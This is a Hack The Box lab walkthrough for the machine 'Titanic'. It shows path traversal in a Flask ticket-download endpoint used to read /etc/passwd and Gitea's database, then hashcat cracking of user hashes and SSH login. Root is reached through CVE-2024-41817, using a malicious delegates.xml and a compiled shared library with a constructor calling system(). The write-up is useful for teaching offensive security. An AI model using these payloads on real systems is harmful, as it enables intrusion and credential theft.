Post

Titanic Walkthrough - HTB Easy | Gitea Repository Leak & ImageMagick CVE

Complete walkthrough of Titanic from Hack The Box. An easy Linux machine featuring an Apache server on port 80. Virtual host fuzzing reveals a Gitea server. Exploiting an Arbitrary File Read vulnerability in the booking functionality allows downloading Gitea's SQLite database, extracting and cracking user credentials. SSH access leads to discovering a cron job executing ImageMagick, vulnerable to CVE-2024-41817 for privilege escalation to root.

Titanic Walkthrough - HTB Easy | Gitea Repository Leak & ImageMagick CVE

Overview

Titanic is an easy difficulty Linux machine that features an Apache server listening on port 80. The website on port 80 advertises the amenities of the legendary Titanic ship and allows users to book trips. A second vHost is also identified after fuzzing, which points to a Gitea server. The Gitea server allows registrations, and exploration of the available repositories reveals some interesting information including the location of a mounted Gitea data folder, which is running via a Docker container. Back to the original website, the booking functionality is found to be vulnerable to an Arbitrary File Read exploit, and combining the directory identified from Gitea, it is possible to download the Gitea SQLite database locally. Said database contains hashed credentials for the developer user, which can be cracked. The credentials can then be used to login to the remote system over SSH. Enumeration of the file system reveals that a script in the /opt/scripts directory is being executed every minute. This script is running the magick binary in order to gather information about specific images. This version of magick is found to be vulnerable to an arbitrary code execution exploit assigned CVE-2024-41817. Successful exploitation of this vulnerability results in elevation of privileges to the root user.


External Enumeration

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌─[dua2z3rr@parrot]─[~]
└──╼ $nmap 10.10.11.55 -vv -p-
<SNIP>
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

┌─[dua2z3rr@parrot]─[~]
└──╼ $nmap 10.10.11.55 -vv -p22,80 -sC -sV
<SNIP>
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGZG4yHYcDPrtn7U0l+ertBhGBgjIeH9vWnZcmqH0cvmCNvdcDY/ItR3tdB4yMJp0ZTth5itUVtlJJGHRYAZ8Wg=
|   256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT1btWpkcbHWpNEEqICTtbAcQQitzOiPOmc3ZE0A69Z
80/tcp open  http    syn-ack Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We identify an SSH port and an HTTP port.

Website

After modifying the /etc/hosts file, we visit the site.

1
2
3
4
5
6
7
8
9
10
11
┌─[✗]─[dua2z3rr@parrot]─[~]
└──╼ $cat /etc/hosts
# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
# Others

10.10.11.55 titanic.htb

Desktop View

Clicking on “Book Your Trip” opens a pop-up. This is the only thing we can do on the site.

Desktop View

When we fill in the form and submit it, a JSON file is returned.

1
{"name": "ciao", "email": "ciao@gmail.com", "phone": "214325262", "date": "2025-11-10", "cabin": "Standard"}

Before doing any testing, let’s try to understand what type of language is being used.

Desktop View

Let’s check the 404 pages cheatsheet to figure out what type of web application we’re dealing with: https://0xdf.gitlab.io/cheatsheets/404#flask

We’re working with Flask, a Python framework.

ffuf

Enumerating virtual hosts, I discover dev.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌─[dua2z3rr@parrot]─[~]
└──╼ $ffuf -w SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://titanic.htb/ -ic -H 'Host: FUZZ.titanic.htb' -mc all -fw 20

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb/
 :: Wordlist         : FUZZ: /home/dua2z3rr/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response words: 20
________________________________________________

dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 143ms]
*                       [Status: 400, Size: 303, Words: 26, Lines: 11, Duration: 48ms]
:: Progress: [100000/100000] :: Job [1/1] :: 645 req/sec :: Duration: [0:02:40] :: Errors: 0 ::

Desktop View

I create an account and search for public repositories.

Desktop View

Reverse Engineering

In the repository related to Docker, I find the MySQL database password in the docker-compose.yml file.

version: ‘3.8’

1
2
3
4
5
6
7
8
9
10
11
12
services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

I save the password MySQLP@$$w0rd! for later.

In the other repository, I find the app.py file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4

app = Flask(__name__)

TICKETS_DIR = "tickets"

if not os.path.exists(TICKETS_DIR):
    os.makedirs(TICKETS_DIR)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/book', methods=['POST'])
def book_ticket():
    data = {
        "name": request.form['name'],
        "email": request.form['email'],
        "phone": request.form['phone'],
        "date": request.form['date'],
        "cabin": request.form['cabin']
    }

    ticket_id = str(uuid4())
    json_filename = f"{ticket_id}.json"
    json_filepath = os.path.join(TICKETS_DIR, json_filename)

    with open(json_filepath, 'w') as json_file:
        json.dump(data, json_file)

    return redirect(url_for('download_ticket', ticket=json_filename))

@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

I notice the absence of checks on the files we’re requesting. If we manipulate the ticket variable, we could obtain files we shouldn’t have access to and download them. Let’s use Burp Suite Repeater to quickly manipulate requests.

Desktop View

Let’s try to read the styles.css file in the static folder.

Desktop View

We’ve discovered the Arbitrary File Read vulnerability.

Let’s read the users in the ../../../../etc/passwd file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

The user developer exists.

Let’s read the user flag with a request using ticket=../../../../home/developer/user.txt.

Gitea Enumeration

From the Gitea docker compose found in the online repository, we can understand where the app.ini file is located, a file that contains how Gitea connects to the database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
version: '3'
services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

This means:

  • Host path: /home/developer/gitea/data (physical machine)
  • Container path: /data (inside the container)

From Gitea documentation:

Inside the container, Gitea saves the app.ini file in:

1
/data/gitea/conf/app.ini

Path mapping:

1
2
3
Container:  /data/gitea/conf/app.ini
              ↓ (volume mount)
Host:       /home/developer/gitea/data/gitea/conf/app.ini

Therefore:

  • /data in the container → /home/developer/gitea/data on the host
  • /data/gitea/conf/app.ini in the container → /home/developer/gitea/data/gitea/conf/app.ini on the host

Complete mapped structure:

1
2
3
4
Container                          →  Host (what you can read)
/data/gitea/conf/app.ini          →  /home/developer/gitea/data/gitea/conf/app.ini
/data/gitea/gitea.db              →  /home/developer/gitea/data/gitea/gitea.db
/data/git/repositories/           →  /home/developer/gitea/data/git/repositories/

Let’s read app.ini with an HTTP request using the vulnerability discovered earlier.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea

[repository]
ROOT = /data/git/repositories

[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable

[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve

[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file

[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars

[attachment]
PATH = /data/gitea/attachments

[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log

[security]
INSTALL_LOCK = true
SECRET_KEY = 
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2

[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost

[lfs]
PATH = /data/git/lfs

[mailer]
ENABLED = false

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

[cron.update_checker]
ENABLED = false

[repository.pull-request]
DEFAULT_MERGE_STYLE = merge

[repository.signing]
DEFAULT_TRUST_MODEL = committer

[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g

Let’s download gitea.db by making a request directly from the browser.

Desktop View

Let’s open it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
┌─[dua2z3rr@parrot]─[~/Downloads]
└──╼ $sqlite3 gitea.db
sqlite> .tables
access                     oauth2_grant             
access_token               org_user                 
action                     package                  
action_artifact            package_blob             
action_run                 package_blob_upload      
action_run_index           package_cleanup_rule     
action_run_job             package_file             
action_runner              package_property         
action_runner_token        package_version          
action_schedule            project                  
action_schedule_spec       project_board            
action_task                project_issue            
action_task_output         protected_branch         
action_task_step           protected_tag            
action_tasks_version       public_key               
action_variable            pull_auto_merge          
app_state                  pull_request             
attachment                 push_mirror              
auth_token                 reaction                 
badge                      release                  
branch                     renamed_branch           
collaboration              repo_archiver            
comment                    repo_indexer_status      
commit_status              repo_redirect            
commit_status_index        repo_topic               
commit_status_summary      repo_transfer            
dbfs_data                  repo_unit                
dbfs_meta                  repository               
deploy_key                 review                   
email_address              review_state             
email_hash                 secret                   
external_login_user        session                  
follow                     star                     
gpg_key                    stopwatch                
gpg_key_import             system_setting           
hook_task                  task                     
issue                      team                     
issue_assignees            team_invite              
issue_content_history      team_repo                
issue_dependency           team_unit                
issue_index                team_user                
issue_label                topic                    
issue_user                 tracked_time             
issue_watch                two_factor               
label                      upload                   
language_stat              user                     
lfs_lock                   user_badge               
lfs_meta_object            user_blocking            
login_source               user_open_id             
milestone                  user_redirect            
mirror                     user_setting             
notice                     version                  
notification               watch                    
oauth2_application         webauthn_credential      
oauth2_authorization_code  webhook
sqlite> SELECT email, salt, passwd FROM user;
root@titanic.htb|2d149e5fbd1b20cf31db3e3c6a28fc9b|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
developer@titanic.htb|8bf3e3452b78544f8bee9400d6936d34|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
ciao@gmail.com|f6c3e0f5db165c605b097b522bcbfa2b|ff5887d9f62e089a0f036ac63cecfd6ab1ad33b3dafa9cd130f70008847835488dedaf0add5beec5184273745e3d830feead

Hash Cracking

We can use a tool called giteatohashcat to convert these strings into proper crackable hashes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌─[dua2z3rr@parrot]─[~]
└──╼ $git clone https://github.com/BhattJayD/giteatohashcat.git
Cloning into 'giteatohashcat'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 10 (delta 1), reused 5 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (10/10), 15.95 KiB | 742.00 KiB/s, done.
Resolving deltas: 100% (1/1), done.
┌─[dua2z3rr@parrot]─[~]
└──╼ $cd giteatohashcat/
┌─[✗]─[dua2z3rr@parrot]─[~/giteatohashcat]
└──╼ $ls -al
total 52
drwxr-xr-x 1 dua2z3rr dua2z3rr   126 23 nov 16.01 .
drwxr-xr-x 1 dua2z3rr dua2z3rr  4018 23 nov 16.01 ..
drwxr-xr-x 1 dua2z3rr dua2z3rr   138 23 nov 16.01 .git
-rw-r--r-- 1 dua2z3rr dua2z3rr  2240 23 nov 16.01 giteaToHashcat.py
-rw-r--r-- 1 dua2z3rr dua2z3rr  3415 23 nov 16.01 .gitignore
-rw-r--r-- 1 dua2z3rr dua2z3rr 35149 23 nov 16.01 LICENSE
-rw-r--r-- 1 dua2z3rr dua2z3rr  1203 23 nov 16.01 README.md
-rw-r--r-- 1 dua2z3rr dua2z3rr    16 23 nov 16.01 requirements.txt
┌─[✗]─[dua2z3rr@parrot]─[~/giteatohashcat]
└──╼ $pip3 install -r requirements.txt --break-system-packages
Defaulting to user installation because normal site-packages is not writeable
Collecting termcolor==2.5.0
  Downloading termcolor-2.5.0-py3-none-any.whl (7.8 kB)
Installing collected packages: termcolor
Successfully installed termcolor-2.5.0
┌─[dua2z3rr@parrot]─[~/giteatohashcat]
└──╼ $chmod +x giteaToHashcat.py
┌─[✗]─[dua2z3rr@parrot]─[~/giteatohashcat]
└──╼ $python3 giteaToHashcat.py ../Downloads/gitea.db 
[+] Extracting password hashes...
[+] Extraction complete. Output:
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
dua2z3rr:sha256:50000:9sPg9dsWXGBbCXtSK8v6Kw==:/1iH2fYuCJoPA2rGPOz9arGtM7Pa+pzRMPcACIR4NUiN7a8K3VvuxRhCc3RePYMP7q0=

Now let’s crack them:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
┌─[dua2z3rr@parrot]─[~]
└──╼ $echo 'sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=' > hash.txt
┌─[dua2z3rr@parrot]─[~]
└──╼ $hashcat -m 10900 hash.txt rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 7 3700X 8-Core Processor, 4283/8630 MB (2048 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqc...lM+1Y=
Time.Started.....: Sun Nov 23 16:05:37 2025 (9 secs)
Time.Estimated...: Sun Nov 23 16:05:46 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      636 H/s (10.89ms) @ Accel:64 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 5632/14344385 (0.04%)
Rejected.........: 0/5632 (0.00%)
Restore.Point....: 5120/14344385 (0.04%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:49152-49999
Candidate.Engine.: Device Generator
Candidates.#1....: allison1 -> katana
Hardware.Mon.#1..: Util: 47%

Started: Sun Nov 23 16:04:57 2025
Stopped: Sun Nov 23 16:05:49 2025

The password is 25282528. Unfortunately, we cannot crack the root account.

Let’s connect via SSH to developer on the victim’s machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌─[✗]─[dua2z3rr@parrot]─[~]
└──╼ $ssh developer@titanic.htb
developer@titanic.htb's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Nov 23 03:13:36 PM UTC 2025

  System load:  0.0               Processes:             227
  Usage of /:   75.9% of 6.79GB   Users logged in:       0
  Memory usage: 14%               IPv4 address for eth0: 10.10.11.55
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

developer@titanic:~$

Shell as Developer

Internal Enumeration

Let’s use the usual commands we use on every box.

1
2
developer@titanic:~$ sudo -l
[sudo] password for developer:

After some enumeration, I find the script /opt/scripts/identify_images.sh which is executed by root every minute. Here’s the code:

1
2
3
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

The binary /usr/bin/magick is unusual. Searching online, I see that the version on the host is vulnerable to CVE-2024-41817.

1
2
3
4
5
6
7
8
/usr/bin/magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma
openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

You can find information about the vulnerability and how it works here: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8. Below I’ll only show the procedure I applied.

Let’s create the XML file with the command we want inside. I chose to put the root flag in the hey.txt file in the developer user’s home. However, you can also get a reverse shell as root.

1
2
3
cat << EOF > ./delegates.xml
<delegatemap><delegate xmlns="" decode="XML" command="cat /root/root.txt > /home/developer/hey.txt"/></delegatemap>
EOF

We convert the XML file to a PNG file using the mv command. Then, we create the C library for path injection.

1
2
3
4
5
6
7
8
9
10
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cat /root/root.txt > /home/developer/hey.txt");
    exit(0);
}
EOF

We move both the PNG file and the C library to the directory where the script reads images (/opt/app/static/assets/images/). Now, let’s wait for the cronjob to run. After a few minutes, we’ll see the hey.txt file containing the root flag in our home directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
developer@titanic:~$ ls -al
total 60
drwxr-x--- 7 developer developer  4096 Nov 23 16:55 .
drwxr-xr-x 3 root      root       4096 Aug  1  2024 ..
lrwxrwxrwx 1 root      root          9 Jan 29  2025 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer  3771 Jan  6  2022 .bashrc
drwx------ 3 developer developer  4096 Aug  1  2024 .cache
drwxrwxr-x 5 developer developer  4096 Aug  1  2024 .local
-rw-r--r-- 1 developer developer   807 Jan  6  2022 .profile
drwx------ 2 developer developer  4096 Aug  1  2024 .ssh
-rw-rw-r-- 1 developer developer 15220 Nov 23 15:35 exploit.py
drwxrwxr-x 3 developer developer  4096 Aug  2  2024 gitea
-rw-r--r-- 1 root      root         33 Nov 23 16:55 hey.txt
drwxrwxr-x 2 developer developer  4096 Aug  2  2024 mysql
-rw-r----- 1 root      developer    33 Nov 23 11:44 user.txt

Root flag obtained! Box completed.


Reflections

What Surprised Me

The fact that the Gitea database was accessible through path traversal despite being in a Docker container (thanks to the exposed volume mount) is something that should not be possible. This let me to gain full compromise. Developers should be more careful when creating containers and docker networks.

Main Mistake

I initially wasted time trying to crack the root hash, when it actually wasn’t needed to complete the box. Plus, I didn’t immediately realize that the Docker volume path in docker-compose.yml was the key to finding gitea.db on the host filesystem.

Open Question

I’m wondering if we would have been able to identify the CVE-2024-41817 vulnerability without first obtaining shell access (for example, through banner grabbing or other external methods).


Completed this box? Have you found different methods to complete this box? Leave a comment down below!

This post is licensed under CC BY 4.0 by the author.